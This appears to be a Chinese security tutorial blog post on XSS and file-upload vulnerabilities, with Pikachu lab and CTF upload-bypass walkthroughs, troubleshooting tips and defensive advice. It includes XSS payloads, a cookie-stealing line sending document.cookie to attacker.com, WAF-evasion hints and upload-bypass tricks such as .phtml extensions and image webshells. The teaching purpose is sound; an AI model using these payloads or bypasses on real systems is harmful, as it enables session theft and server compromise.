news 2026/9/15 6:07:46

XSS与文件上传漏洞:原理分析、绕过技巧与靶场实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XSS与文件上传漏洞:原理分析、绕过技巧与靶场实战

搞安全的同行应该都清楚,XSS跨站脚本和文件上传漏洞这两个名字,基本是Web渗透测试里“出镜率”最高的老面孔了。一个是在浏览器端玩“借刀杀人”,一个是在服务端玩“狸猫换太子”,单拎出来任何一个都能写出一堆文章。但真正把它们放在一起、结合靶场实操去理解的人,反而不多。

这篇文章我就从原理到复现,把这两类漏洞彻底掰开揉碎。你会看到反射型XSS、存储型XSS、DOM型XSS到底差在哪,也会看到文件上传漏洞是怎么绕过前端校验、MIME检查、甚至碰运气绕过解析规则的。文章里还会带上皮卡丘靶场的反射型XSS复现实录,以及一道很典型的“基础题目二:文件上传突破”的完整拆解。

如果你正在准备Web安全面试、刷CTF题目,或者刚入行想搭建一个漏洞靶场练手,这份内容应该能帮你省下不少翻资料的时间。很多东西是我自己踩坑踩出来的,不是教科书上那种“正确答案”。

1. XSS跨站脚本漏洞:从原理到实战

1.1 XSS到底是什么

XSS全称Cross-Site Scripting,中文一般叫跨站脚本攻击。为了避免和CSS层叠样式表混淆,安全圈习惯叫XSS。它的核心成因很简单:服务端或客户端把用户输入的数据,当成前端代码的一部分渲染了,导致攻击者输入的恶意JS脚本在受害者的浏览器里“名正言顺”地执行了。

举个例子,一个搜索页面,你把搜索关键词放到URL参数里,比如:

search.php?keyword=hello

页面回显的时候,直接把keyword参数拼进HTML里:

<p>你搜索的是:hello</p>

如果攻击者把hello换成<script>alert(1)</script>,那这个标签就会被浏览器解析,弹个框出来。虽然弹框没什么威胁,但换成窃取Cookie、劫持会话、内网扫描、钓鱼表单,问题就大了。

我记得有个客户站点,反应“网页莫名弹出奇怪内容”,后来排查发现是搜索框参数没过滤,造成的反射型XSS。修复非常简单,但带来的风险却差点让他们的业务域名被搜索引擎拉黑。

XSS的本质问题在于“数据”和“代码”没分家。任何用户可控的数据如果落到HTML标签、属性、JavaScript代码、CSS、URL等可执行上下文中,都可能成为XSS的入口。

1.2 三类XSS的本质区别

XSS通常分成三类:反射型(Reflected)、存储型(Stored)、DOM型(DOM-based)。很多人喜欢把重点放在前两类上,这个没问题,但DOM型XSS其实更隐蔽。

反射型XSS

反射型XSS也叫非持久型XSS,恶意脚本藏在URL参数里,服务端接收后直接拼接进返回的HTML中。受害者必须点击攻击者精心构造的链接才会触发。这种场景多见于搜索页、错误提示页、404页面、分享链接等。

因为脚本不存储在服务端,所以“一次请求、一次生效”,常用于钓鱼链接、诱导访问。

存储型XSS

存储型XSS又叫持久型XSS,恶意脚本通过评论、留言板、个人资料、帖子标题等入口提交到服务端,服务端存入数据库。之后任何用户打开包含该内容页面时,脚本都会自动执行。因为不需要受害者点击特定链接,危害范围远大于反射型,常用于蠕虫、批量盗取Cookie、挂马。

DOM型XSS

DOM型XSS比较特殊,它不走服务端渲染。恶意脚本直接在前端JavaScript里操作DOM树时被触发,比如document.writeinnerHTMLlocation.hashwindow.name等API接收了用户可控数据,然后拼进HTML里。

这种XSS,服务端返回的HTML其实是正常的,恶意payload可能藏在URL片段或存储在前端数据源里。很多WAF和过滤器只检测HTTP请求参数,对URL片段不敏感,导致DOM型XSS极易漏网。

三类XSS的对比可以看这张表:

类型是否持久化触发方式典型注入点危害程度
反射型XSS受害者点击恶意链接搜索框、URL参数、错误提示
存储型XSS任何访问存储内容的用户自动触发评论、留言板、昵称、头像
DOM型XSS前端代码动态改写DOM时触发hash、referrer、postMessage、localStorage高(隐蔽性)

威胁程度取决于业务场景。比如一个后台管理系统如果存在存储型XSS,管理员Cookie一旦被偷,整个后台就沦陷了。

1.3 为什么说DOM型XSS最容易被人忽视

因为很多人的目光停留在“服务端是否有过滤”“WAF是否拦截”,而不是“前端JS怎么处理数据”。

举个我见过的例子,某系统有一段类似这样的代码:

function getParam(name) { var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); var r = window.location.search.substr(1).match(reg); if (r != null) return unescape(r[2]); return null; } function showMessage() { var msg = getParam("msg"); document.getElementById("tip").innerHTML = "系统提示:" + msg; }

参数msg从URL中读取,直接被拼到innerHTML里。攻击者只要构造:

/xxx.php?msg=<img src=x onerror=alert(document.cookie)>

就能在受害者浏览器里执行脚本。服务端响应里一点都不脏,恶意代码是在客户端动态生成的,所以很多基于服务端响应检测的WAF直接放行了。

我建议在代码审计时,养成一个习惯:凡是在浏览器端把URL、referrer、localStorage、postMessage等数据,通过innerHTMLdocument.writeouterHTMLinsertAdjacentHTML等方式写入DOM的,统统标记为“可疑DOM型XSS”。哪怕绕过了服务端,也一定要对数据进行编码转义。

2. 皮卡丘靶场反射型XSS复现实录

2.1 靶场环境准备

皮卡丘靶场(Pikachu)是很多安全学习者入门时接触的一套Web漏洞演练平台,内置了XSS、SQL注入、RCE、文件上传等常见漏洞。它基于PHP环境,非常适合拿来做本地复现。

我这边用的是Windows服务器环境,部署步骤大概是:

  1. 下载pikachu源码,解压到Web根目录
  2. 创建数据库,修改inc/config.inc.php里的数据库账号密码
  3. 访问http://localhost/pikachu/,根据安装提示初始化数据库
  4. 导航到XSS模块,选择“反射型XSS(GET)”

这套环境的好处在于,它把漏洞场景做得非常接近真实业务,又不用担心把线上环境搞坏。我第一次练反射型XSS就是在这个靶场上,印象很深刻。

2.2 复现步骤与绕过技巧

皮卡丘反射型XSS的入口是一个搜索框,提交关键词后,页面会回显“搜索的xxx的结果”。这正好对应我们前面讲的“用户输入未过滤直接渲染”的场景。

普通测试直接在输入框填:

<script>alert(1)</script>

点击搜索,浏览器就会弹窗。如果弹不出来,先按F12看报错,很可能页面中payload被做了HTML实体化过滤,或者被截断了。这里分享几个我在实战中经常使用的测试技巧:

第一种:大小写混淆绕过

如果服务端只替换了<script>标签,可以试试:

<ScRiPt>alert(1)</sCrIpT>

有些正则过滤写得不严谨,只匹配小写,这种办法就能蒙混过关。

第二种:使用其他标签

<script>标签虽然直观,但只要开发者过滤了它,很多新手就卡住了。其实能执行JS的标签多得很。皮卡丘靶场没有做过滤,但我们练习时要养成“多标签测试”的习惯:

<img src=x onerror=alert(1)> <svg onload=alert(1)> <a href="javascript:alert(1)">点我</a>

其中imgsvg是最稳定的,我遇到的大多数过滤都不太关注事件属性。

第三种:考虑HTML实体编码

如果服务端会把<转成&lt;,那直接注入标签是不可能的。这时候可以观察有没有其他输出点,比如写在JS变量里、写在属性里,再配合闭合引号、转义引号来突破。

反射型XSS的关键,是找到输出上下文。在搜索框里测不出来,不代表URL其他参数里没有漏洞。

我始终觉得,靶场复现不只是“弹个窗就完事”。应该顺手把Chrome开发者工具打开,看请求、看响应、看JS执行顺序,把整个数据流的来龙去脉搞明白。弹窗只是证明漏洞存在,而你自己能说明白“代码在哪一步被浏览器执行”,才算真正掌握。

3. 文件上传漏洞:看似简单的“上传”为何成了突破口

3.1 文件上传漏洞的成因

文件上传功能现在几乎是所有Web应用的标配:头像、附件、证件、图片素材……只要涉及用户交互,基本躲不开。

文件上传漏洞的成因,说简单也简单:服务端对用户上传的文件校验不严,导致攻击者能上传一个可执行的脚本文件(比如PHP、JSP、ASP、EXE),并通过某种方式触发它的执行,从而在服务器上执行任意代码。

但要说清楚它为什么危险,就需要理解服务器中间件的解析特性。

拿最常见的PHP环境举例。正常情况下,你上传一个shell.php/uploads/,如果服务器配置了把.php文件交给PHP解释器解析,那你直接访问http://target/uploads/shell.php,文件里的PHP代码就会在服务器端执行。

现实中当然不会让你传.php这么顺利,但攻击者的思路会不断变形:

  • 前端限制了只能传图片?直接改后端请求绕过
  • 后端检查了Content-Type?把application/x-php改成image/jpeg
  • 后端校验了扩展名黑名单?试试.php3.phtml.php5.pht
  • 设置了Apache解析特性?上传shell.php.jpg,配合AddHandler配置有可能被当成PHP解析
  • 使用Nginx + PHP-FPM?上传.jpg文件,内容里包含PHP代码,通过访问伪静态路径可能触发解析

文件上传漏洞的评估标准,就是要看“能不能传可执行文件”“可执行文件能不能被服务器解析”“解析之后能不能拿到代码执行权限”。

3.2 常见绕过思路实战解析

我把常见的绕过方式整理成一个清单,做渗透测试时可以对着逐条测:

绕过前端JS校验

很多后端把前端校验当成了唯一防线,前端限制了上传类型为jpg/png,但通过Burp Suite改包,把文件名改成webshell.php、Content-Type改成image/jpeg,直接发到服务端,如果服务端只校验了Content-Type就能过。改包工具我常用Burp Suite,也可以直接用浏览器的开发者工具绕过前端JS,甚至把前端校验函数直接去掉再重新上传。

修改Content-Type

在HTTP请求里,Content-Type是客户端告诉服务端“我这个文件是什么类型”的字段。如果服务端只信任这个字段,那改一下包装成image/png就畅通无阻。

扩展名绕过

黑名单过滤是最常见也是最容易出问题的。

假设后端过滤了.php.asp.jsp,但没有过滤.php3.php4.php5.phtml.pht.asa.cer.asax.cdx等可被中间件解析的扩展名,就可能直接上传成功。

还可以尝试后缀大小写,比如.pHp;或者双写扩展名.pphphp。如果程序只是简单替换了.php,双写能绕过一些粗糙的过滤。

MIME类型校验

有些后端会像“伪专家”一样,用getimagesize()函数读取图片的宽高,如果返回false就拒绝。这时候光改Content-Type就没用了,需要构造一个“图片马”。最简单的做法是用一张正常的GIF图片,在文件内容的末尾追加PHP代码。因为getimagesize()只检查文件头部的图片特征,尾部追加代码不影响它识别为有效图片。

文件内容校验

更严格的后端会检查文件头几个字节,比如要求PNG文件头是\x89PNG\r\n\x1a\n。对付这种,直接把图片马文件头保持正确即可。

配合解析漏洞

到这里,很多情况就变成了“文件上传成功,但怎么让脚本执行”的问题。比如Apache的解析漏洞,shell.php.rar这类多后缀名文件在特定版本下会从右往左解析可识别的扩展名;Nginx的解析漏洞,在location配置不当的情况下,访问/uploads/shell.jpg/xxx.php时会把shell.jpg当作PHP执行。

文章里我不能把每个环境都展开细说,但你只要记住一条:光有上传功能不够,关键在“上传后的文件是否会被Web容器当作脚本解析”。

我见过很多测试报告,写到“上传成功”就结束了。其实这只能算“得到一个存储型XSS”,离命令执行还差很远。

4. “基础题目二:文件上传突破”实战拆解

4.1 题目环境与目标

这道“基础题目二:文件上传突破”是很多CTF赛题和实训平台里的经典关卡。它模拟了一个典型的文件上传点,题目目标是上传一个能够被服务器解析的脚本文件,从而证明漏洞利用成功。

关卡界面通常是一个很简陋的上传表单,显示“请上传一张图片,格式仅支持jpg/png”。我们分别从“前端校验”和“后端校验”两条路线去突破。我在这个题目里一共尝试了三种方法,最终是第二种方法顺利通过的。这里把整个过程写下来。

4.2 绕过过程记录

第一次试探:直接改名

第一次我老老实实上传了一个正常的1x1像素PNG图片,好像叫做test.png,上传成功。但显然题目不会这么简单就结束。

接着我把一个写有PHP探针代码的文件改名成shell.jpg上传。上传成功了,但访问shell.jpg时,服务器并没有执行里面的PHP代码,而是把它当作图片输出,浏览器直接把代码内容显示成文本。这说明站点没有“图片文件解析成脚本”的配置。

第二次尝试:修改Content-Type

用Burp Suite拦下上传请求,文件名改成shell.php,Content-Type改成image/png。提交后,返回信息提示“文件类型不允许”,表明服务端不是只看Content-Type,很可能做了扩展名校验。

第三次尝试:双写扩展名

我再把文件名改成shell.php.jpg,发现上传成功,但访问仍然无法解析。接着把文件名改成shell.jpg.php,结果上传被拦截。

通过几轮fuzz,我基本摸清了后端校验规则:文件扩展名存在一个黑名单,黑名单里含有phpaspjsp等字符串,但是没过滤.phtml.pht。最终我构造了一个文件名叫shell.phtml的文件,内容为:

<?php phpinfo(); ?>

上传后访问,成功执行,页面显示出了PHP配置信息。到这里,题目就算突破成功了。

一点点心得

测文件上传时,不要一上来就盲目尝试一堆payload。先用几个正常的文件传一传,观察返回信息,判断是前端拦截还是后端拦截,再根据后端返回的错误信息推测校验逻辑。比如报错是“文件格式不正确”还是“文件类型不允许”,一字之差就能透露不少信息。

有时候黑名单是写死的,你可以试.phtml.php5,还有大小写和双重扩展名。题目叫“基础题目二”,但实际工作中遇到的上传点,防护基本都是这个级别。能处理好这一关,再去碰那些带图片二次渲染、随机文件名、限制目录执行权限的难点,心里就有底了。

4.3 文件上传成功之后的连锁风险

文件上传漏洞最恐怖的地方在于它的“连锁反应”。上传点往往不止一个,能传图片的地方未必能传脚本,但能传HTML页面的地方一样可以搞事。

举个我在真实授权测试中的例子:一个新闻系统的“封面图”上传功能,我上传了一个内容为<script>alert(document.cookie)</script>的HTML文件,虽然它不解析后端代码,但这是一个直接的存储型XSS,凡是打开那个封面的后台用户都会中招。管理员在前台文章列表看到“上传成功”的提示,实际上他的会话已经暴露了。

上传点的风险等级可以分为几档:

上传内容触发方式影响
PHP等脚本文件直接URL访问远程代码执行(RCE)
HTML/JS文件浏览器直接访问存储型XSS、钓鱼
超大型文件直接上传拒绝服务、磁盘耗尽
恶意SVG/字体浏览器解析XSS、信息窃取

这就是为什么很多开发团队想推出“只允许上传图片,其他一律拒绝”的功能,结果依然被各种姿势绕过。真要从头做好,必须把“内容检测、扩展名白名单、文件名随机化、存储目录和Web根目录隔离、禁止执行权限、限制文件大小”这一整套全安排上。

5. 常见问题与排查技巧实录

5.1 XSS常遇问题速查

我在带新人和做代码审计时,收集了不少XSS的实际问题,列几个典型的:

问题一:为什么我把<script>写进去,页面显示成一串文字?

说明服务端对<>做了HTML实体编码,浏览器把它们当文本显示了。这时候要么找其他输出点,要么想利用别的方式闭合引号绕过。在反射型XSS里,如果输出点在<input value="xxx">,你可以传入"><script>来逃逸。

问题二:为什么用Burp测了很多XSS payload,全被拦截?

要看看WAF层,有一些云WAF会对alertpromptonerrordocument.cookie等关键词做正则匹配。这时候可以换成不触发WAF规则的写法,比如用编码、拆字符串、事件属性加空格或换行等。这种对抗属于精细化测试,一步步来。

问题三:DOM型XSS怎么快速定位?

最快的办法是在浏览器里跑一个简单的fuzz脚本,改变URL参数里某个值,观察页面是否出现innerHTMLdocument.write的动态拼接。另外打开开发者工具,在Sources面板搜索innerHTMLlocation.hashdocument.write,基本就能摸到可疑代码。

问题四:XSS弹窗之后,怎么证明危害不只是弹窗?

弹窗只是验证。要证明危害,可以构造一个Payload,把受害者Cookie通过图片请求发走,比如:

new Image().src='http://attacker.com/steal?c='+document.cookie

这会触发跨域请求,虽然不能读取响应,但攻击者能在日志里看到收集到的Cookie。这已经足够演示会话劫持风险了。

5.2 文件上传常遇问题速查

问题一:上传了图片马,直接访问却显示源码,不执行?

大概率是图片文件被服务器当作静态资源输出,而不是交给PHP解释器。你需要检查目录是否配置了executable权限,或者换一个扩展名试试(比如.php5.phtml)。

问题二:文件名被后端强制改了,怎么利用?

很多站点会把文件名随机化成一串MD5并保留原扩展名,这时候你没法控制最终文件路径,但只要知道上传路径规则,还是可以直接访问。如果连扩展名都被改了,那基本是做了白名单校验,想通过纯改名绕过是比较难的,要结合其他漏洞(比如文件包含)。

问题三:上传目录禁止执行脚本,怎么破?

这时要寻找目录穿越漏洞,比如文件名带../或者对路径拼接的校验不严,让文件写到其他可执行目录。也可以通过二次上传,利用文件包含漏洞把图片马包含进去,间接执行。

问题四:白名单机制就安全了吗?

不一定。白名单允许上传jpg、png、gif,但部分中间件在解析时会发挥“想象力”,比如在某些老版本中间件里,shell.jpg被访问时也可能以另一种方式触发代码。更关键的是,白名单校验往往只写在客户端,服务端没有同等级校验,等于门户大开。

5.3 平时排查和应急响应的经验

我个人的习惯是,拿到一个站点做安全评估时,先做“入口梳理”:

  1. 找到所有可交互的参数点,包括URL参数、POST表单、JSON体、上传接口
  2. 对每个点,先测普通输入和边界输入,再测XSS标签和脚本
  3. 上传点单独走一套“流程”:正常上传 -> 类型绕过 -> 扩展名绕过 -> 内容绕过 -> 解析测试 -> 危害验证

很多人喜欢一上来就丢sqlmap、xray自动扫描,不是不行,但手工测试更能看清漏洞背后的原因。自动扫描出来的结果往往只有“存在XSS”,却不知道它为什么存在,也不知道怎么修。

我遇到过一次真实事件,某系统因为一处处存储型XSS导致后台Cookie批量泄露,最后查明原因,是“昵称”字段在个人资料展示页被直接拼接进了HTML,开发只过滤了参数,没过滤回显。这种问题靠单一WAF是挡不住的,因为WAF知道请求里有XSS字眼,却不知道响应里藏着XSS。

如果在应急响应中排查XSS,建议同时看access log和WAF日志,重点检索<scriptonerrordocument.cookie<img<svg等关键字样本。面对文件上传事件,优先检查两个位置:上传目录内新增文件、Web日志中指向上传目录的非静态请求。很多时候攻击者留下的webshell就藏在日志里。沉住气,能看到很多东西。

6. 防御思路与个人心得

前面聊完了攻击和绕过,最后想说说防御,因为只懂攻击不懂防御,做安全永远缺一条腿。

XSS防御最核心的一句话就是:不要相信用户输入,也不要在HTML上下文中输出未转义的数据。具体做法包括输入校验(允许哪些字符,限制长度)、输出编码(上下文相关的编码,比如HTML实体编码、JavaScript转义、URL编码)、使用CSP(内容安全策略)限制脚本来源,并加固Cookie,设置HttpOnly属性和Secure标记。

文件上传防御的核心是白名单、随机化、隔离、限制执行。扩展名做白名单比黑名单靠谱得多,文件重命名改成随机名避免路径猜测,上传目录放在Web根目录之外并通过专门的接口读取文件,必要时对上传目录关闭脚本执行权限。

我在安全实战里最深的一个体会是:漏洞往往不是某个技术环节单点失守,而是开发、测试、配置多个环节层层疏忽叠加出来的。真实修复远不止打一个“补丁”那么简单,还得在代码层面规范数据流,在运维层面做好中间件加固,在管理层面定期做安全测试。

最后分享一个实际操作中的小技巧:写XSS测试代码时,尽量避免只用alert(1),因为部分浏览器对弹窗做了拦截,你误以为漏洞不存在。换成<svg/onload=console.log(1)>或者利用fetch('https://yourdomain/c')这种方式,在控制台或远程服务器能看到回显,验证起来更直观。测文件上传时也一样,别只上传一个phpinfo(),多准备几个不同规格的测试文件,配上Burp Suite记录完整请求流程,遇到失败可以对比请求差异,比盲猜有效得多。

安全这条路,没有捷径,每一个payload、每一次绕过背后都是对“数据流”和“信任边界”的思考。靶场练完了,还要养成把同一套思路迁移到真实系统上的习惯。希望这篇内容能帮你在入门到进阶的路上少踩几个坑。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/15 6:07:43

基于Matlab的声纹识别系统开发与优化实践

1. 项目概述&#xff1a;语音识别领域的GUI实践去年接手一个安防项目时&#xff0c;客户要求在不增加硬件成本的情况下实现门禁系统的语音身份验证。当时第一反应就是基于Matlab构建说话人识别系统&#xff0c;因为它的信号处理工具箱和GUI开发环境能大幅缩短开发周期。这个系统…

作者头像 李华
网站建设 2026/9/15 6:07:23

MATLAB实现3GPP TR 38.901信道模型的完整工程实践

简介&#xff1a;本资源是面向无线通信研究者、高校师生及5G/4G系统工程师的MATLAB信道建模工具集&#xff0c;聚焦3GPP标准下的E-UTRA与NR信道仿真&#xff0c;解决实际通信链路建模、衰落特性分析与系统性能预评估等核心问题。压缩包共20个文件&#xff0c;主体为15个MATLAB函…

作者头像 李华
网站建设 2026/9/15 6:06:55

国密人脸识别门禁选型落地指南:从SM算法到密评合规

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/15 6:06:19

字元组合实战:从CNSH四步法到高可用短码生成器

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/15 6:05:49

移动端图片模糊真相:DPR校准与WebP压缩实战指南

1. 为什么设计师交的图在手机上“糊”得让人想重装APP&#xff1f;你有没有遇到过这种场景&#xff1a;UI设计师发来的切图&#xff0c;PS里放大看连睫毛都根根分明&#xff0c;导出成PNG塞进App里&#xff0c;一到真机上——特别是iPhone 14 Pro或华为Mate 50这种高刷高PPI屏幕…

作者头像 李华
网站建设 2026/9/15 6:05:24

Ascon不是轻量版AES:硬件安全的范式重构

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华